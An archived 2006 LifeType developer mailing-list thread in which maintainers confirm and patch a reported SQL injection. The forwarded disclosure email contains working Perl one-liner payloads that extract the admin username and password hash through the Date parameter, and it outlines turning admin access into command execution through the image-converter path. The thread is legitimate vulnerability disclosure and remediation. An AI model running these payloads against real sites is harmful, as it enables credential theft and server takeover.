[pLog-svn] Fwd: Security problem
Reto Hugi
plog at hugi.to
Mon Jul 3 20:05:34 GMT 2006
Thanks to Mark's help we can confirm this for 1.0.5 on linux and
freebsd. well, it doesn't matter anyway ;)
On 03.07.2006 19:02, Mark Wu wrote:
> I just create a 1.0.6 branches and also fixed this sql injection in SVN rev
> 3681.
>
> Can anyone does a quick test to see t fixed or not?
>
> I tested it under my windows environment, it seems fixed.
>
> Mark
>
>> -----Original Message-----
>> From: plog-svn-bounces at devel.lifetype.net
>> [mailto:plog-svn-bounces at devel.lifetype.net] On Behalf Of
>> Oscar Renalias
>> Sent: Monday, July 03, 2006 11:58 PM
>> To: plog-svn at devel.lifetype.net
>> Subject: [pLog-svn] Fwd: Security problem
>>
>> Can somebody quickly investigate this?
>>
>> ---------- Forwarded message ----------
>> From: A. Ramos <aramosf at unsec.net>
>> Date: Jul 3, 2006 5:45 PM
>> Subject: Security problem
>> To: contact at lifetype.net
>>
>>
>> Hello :-)
>>
>> They are one sql injection in latest version of lifetype:
>>
>>
>> To get md5 passwd:
>> perl -MLWP::Simple -e "getprint
>> 'http://localhost/index.php?op=Default&Date=200607\'%20UNION%2
>> 0SELECT%201,password,1,1,1,1,1,1,1,1%20FROM%20lt_users%20WHERE
>> %20id=\'1\'/*&blogId=1'"
>> | perl -ne 'print "password: ".$1."\n" if /articleId=(\w*).*h3/'
>>
>> To get admin username:
>> perl -MLWP::Simple -e "getprint
>> 'http://localhost/index.php?op=Default&Date=200607\'%20UNION%2
>> 0SELECT%201,user,1,1,1,1,1,1,1,1%20FROM%20lt_users%20WHERE%20i
>> d=\'1\'/*&blogId=1'"
>> | perl -ne 'print "admin: ".$1."\n" if /articleId=(\w*).*h3/'
>>
>> And if you can access to the admin control panel, you can run
>> commands in the system changing the value of /usr/bin/convert
>> and put your own command. Upload some picture and wait to
>> resize with the evil command.
>>
>> I think they are more bugs but I havent time to check for more.
>>
>> Thank you.
>>
>> --
>>
>> A. Ramos <aka dab>
>> mailto: <aramosf at unsec.net>
>> http://www.unsec.net
>> _______________________________________________
>> pLog-svn mailing list
>> pLog-svn at devel.lifetype.net
>> http://devel.lifetype.net/mailman/listinfo/plog-svn
>
> _______________________________________________
> pLog-svn mailing list
> pLog-svn at devel.lifetype.net
> http://devel.lifetype.net/mailman/listinfo/plog-svn
More information about the pLog-svn
mailing list